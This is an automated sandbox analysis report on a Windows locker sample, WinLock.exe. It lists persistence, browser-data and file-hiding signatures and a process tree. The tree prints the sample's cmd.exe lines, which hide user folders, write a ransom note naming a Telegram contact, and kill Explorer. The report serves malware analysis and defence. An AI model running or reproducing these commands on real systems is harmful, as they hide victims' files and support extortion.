Analysis

  • user interaction
    yes
  • max time kernel
    20s
  • max time network
    18s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/10/2026, 15:32

General

  • Target
    WinLock.exe
  • Size 224KB
  • Sample261001-sys2eayvat
  • SHA256 d84a58ecdd47369145ab33f644f845cda22bc00203c31af779b0d627b5c5b0ed
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 13 IoCs
  • Drops desktop.ini file(s) 12 IoCs
  • Enumerates connected drives 3 TTPs 6 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 12 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Views/modifies file attributes 1 TTPs 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
    "C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4592
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Enumerates connected drives
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Enumerates connected drives
        • Views/modifies file attributes
        PID:996
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Enumerates connected drives
        • Views/modifies file attributes
        PID:3520
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:212
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:1556
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:4760
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:228
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:516
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:2976
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:220
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3104
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:2308
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:796
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3192
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:5076
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @tgburner_56362 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:3204
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-Locker.txt
        3⤵
        • Views/modifies file attributes
        PID:1828
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3328
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Enumerates connected drives
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Enumerates connected drives
        • Views/modifies file attributes
        PID:4804
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Enumerates connected drives
        • Views/modifies file attributes
        PID:3696
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:784
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4120
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4216
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:848
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4436
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3140
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4260
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:3788
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:2776
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:2688
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4836
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib -h -s -r -i /D & del info-Locker.txt /q /s & attrib +h +s -r desktop.ini
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3564
      • C:\Windows\system32\attrib.exe
        attrib -h -s -r -i /D
        3⤵
        • Views/modifies file attributes
        PID:3884
      • C:\Windows\system32\attrib.exe
        attrib +h +s -r desktop.ini
        3⤵
        • Views/modifies file attributes
        PID:116
  • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
    "C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --wininit
    1⤵
      PID:3652
    • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
      "C:\Users\Admin\AppData\Local\Temp\WinLock.exe" /setup
      1⤵
        PID:3232
      • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
        "C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
        1⤵
          PID:4696
        • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
          "C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --init
          1⤵
            PID:1252
          • C:\Users\Admin\AppData\Local\Temp\WinLock.exe
            "C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
            1⤵
              PID:5092

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  WinLock.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WinLock.exe.log
                  • Size 1KB
                  • SHA256 c897436c82fda9abf08b29fe05c42f4e59900116bbaf8bfd5b85ef3c97ab7884
                  • MD5 SHA1 SHA512 TLSH

                  info-Locker.txt

                  • Path C:\Users\Admin\Downloads\info-Locker.txt
                  • Size 82B
                  • SHA256 2fd6c8111c0a068e9623b8d13ff663db2335f60015d3dead170877eaa04df603
                  • MD5 SHA1 SHA512 TLSH

                  memory/4592-0-0x0000000000EB0000-0x0000000000EEE000-memory.dmp

                  memory/4592-1-0x000000001C5C0000-0x000000001C5D0000-memory.dmp

                  memory/4592-19-0x000000001C5C0000-0x000000001C5D0000-memory.dmp